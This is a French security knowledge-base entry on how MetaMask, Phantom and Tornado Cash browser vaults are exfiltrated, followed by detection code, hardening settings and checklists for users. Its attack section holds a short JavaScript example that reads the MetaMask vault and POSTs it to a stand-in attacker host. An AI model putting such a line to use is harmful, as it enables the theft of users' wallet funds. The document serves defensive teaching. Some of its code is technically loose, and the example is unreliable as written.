Explorer
KNOW-PAT-054

Exfiltration de vaults navigateur (MetaMask, Phantom, Tornado Cash)

Domaine
cybersecu
Type
pattern
Priorité
P2

Parent : [[INDEX-CYBERSECU]]

Exfiltration de vaults navigateur (MetaMask, Phantom, Tornado Cash)

Problème

L'archive Ygg contient les données exfiltrées de wallets navigateurs : metamask_vault, phantom_vault, tornadocash_idb. Ces données sont stockées dans IndexedDB/localStorage des navigateurs et peuvent être exfiltrées par XSS, extension malveillante, ou phishing.

Contexte archive Ygg

  • Navigateur : Chrome
  • Fichiers : 02_SERVEUR_PRE_PROD/navigateurs/chrome/metamask_vault/
  • Fichiers : 02_SERVEUR_PRE_PROD/navigateurs/chrome/phantom_vault/
  • Fichiers : 02_SERVEUR_PRE_PROD/navigateurs/chrome/tornadocash_idb/
  • Fichiers : 05_CRYPTO/05e_metamask/, 05f_phantom/, 05a_tornado_cash/

Comment les vaults sont exfiltrés

1. MetaMask Vault

MetaMask stocke le vault chiffré dans chrome-extension://nkbihfbeogaeaoehlefnkodbefgpgknn/ Le vault contient :

  • data : vault chiffré (AES-GCM avec mot de passe utilisateur)
  • salt : sel de dérivation
  • iv : vecteur d'initialisation

Exfiltration possible :

// Via XSS sur une page où MetaMask est actif
const vault = await browser.storage.local.get('data');
fetch('https://attacker.com/collect', {
  method: 'POST',
  body: JSON.stringify(vault)
});

2. Phantom Vault

Phantom stocke dans chrome-extension://bfnaelmomeimhlpmgjnjophhpkkoljpa/ Structure similaire : données chiffrées + metadata.

3. Tornado Cash IndexedDB

Tornado Cash stocke les notes de retrait (withdrawal notes) dans IndexedDB. Ces notes = preuves de possession des fonds. Si volées = vol des fonds.

Solution protectif — Sécurisation des wallets navigateur

1. Ne PAS stocker de vaults sur les machines de dev/forensics

# Avant toute investigation forensique, isoler les wallets
# Créer un profil Chrome dédié SANS extensions
mkdir -p ~/chrome-forensics
google-chrome --user-data-dir=~/chrome-forensics --disable-extensions

2. Détecter l'accès aux vaults

// content-script.js — Détecter les tentatives d'accès aux vaults
const PROTECTED_KEYS = ['metamask', 'phantom', 'tornado', 'wallet'];

// Surveiller localStorage
const originalGetItem = Storage.prototype.getItem;
Storage.prototype.getItem = function(key) {
  if (PROTECTED_KEYS.some(k => key.toLowerCase().includes(k))) {
    console.warn(`🚨 ACCÈS VAULT DÉTECTÉ: ${key}`);
    reportSecurityEvent('vault_access_attempt', { key, stack: new Error().stack });
  }
  return originalGetItem.call(this, key);
};

// Surveiller IndexedDB
const originalIDBFactory = indexedDB.open;
indexedDB.open = function(name, version) {
  if (PROTECTED_KEYS.some(k => name.toLowerCase().includes(k))) {
    console.warn(`🚨 ACCÈS INDEXEDDB VAULT: ${name}`);
    reportSecurityEvent('indexeddb_vault_access', { db: name });
  }
  return originalIDBFactory.call(this, name, version);
};

3. Configuration MetaMask sécurisée

// settings.js — Config MetaMask hardenée
const MM_SECURITY = {
  // Activer la protection phishing intégrée
  phishingProtection: true,
  
  // Désactiver le connect automatique
  autoConnect: false,
  
  // Activer la confirmation manuelle pour chaque tx
  confirmTransactions: true,
  
  // Verrouiller après 5 min d'inactivité
  lockTimeout: 300,
  
  // NE PAS utiliser sur les sites non vérifiés
  allowedDomains: ['app.uniswap.org', 'app.aave.com']
};

4. Pour les développeurs de sites web

// NE JAMAIS demander l'accès au wallet sans consentement explicite
// Mauvais (comme dans l'archive)
if (window.ethereum) {
  window.ethereum.request({ method: 'eth_requestAccounts' }); // Auto-prompt
}

// Bon
async function connectWallet() {
  const userConsent = await showModal(
    'Ce site souhaite se connecter à votre wallet.',
    'Confirmez-vous ?'
  );
  if (userConsent) {
    const accounts = await window.ethereum.request({ 
      method: 'eth_requestAccounts' 
    });
    return accounts;
  }
}

5. Pour les utilisateurs

  • Hardware wallet (Ledger/Trezor) : clés privées jamais sur l'ordinateur
  • Navigateur dédié : un navigateur UNIQUEMENT pour les wallets, jamais pour la navigation générale
  • Pas d'extensions : seulement MetaMask/Phantom, aucune autre extension
  • Air-gapped : les gros montants sur cold wallet, jamais sur navigateur

Checklist de validation

  • Hardware wallet pour les montants > 1000$
  • Navigateur dédié aux wallets (pas de navigation générale)
  • Aucune extension tierce sur le navigateur wallet
  • Verrouillage automatique après inactivité
  • Phishing protection activée
  • Connexion manuelle requise (pas auto-connect)
  • Review de chaque transaction avant signature
  • Pas de seed phrase stockée numériquement (papier + coffre)

Anti-pattern associé

  • KNOW-ANT-006 — Browser wallet vault storage without hardware backup

Comment se prot[ée]ger

  • Chiffrement des secrets au repos (OS keyring, DPAPI, Keychain)
  • Ne jamais stocker des secrets en clair dans le browser storage
  • Audit des extensions install[ée]es (permissions host et abs)\n- Sandboxing strict des extensions (manifest v3)
  • Monitoring des requ[ê]tes sortantes des extensions

Références

  • Archive Ygg : 02_SERVEUR_PRE_PROD/navigateurs/chrome/
  • Archive Ygg : 05_CRYPTO/
  • OWASP : Web3 Security
  • Ledger : Security Best Practices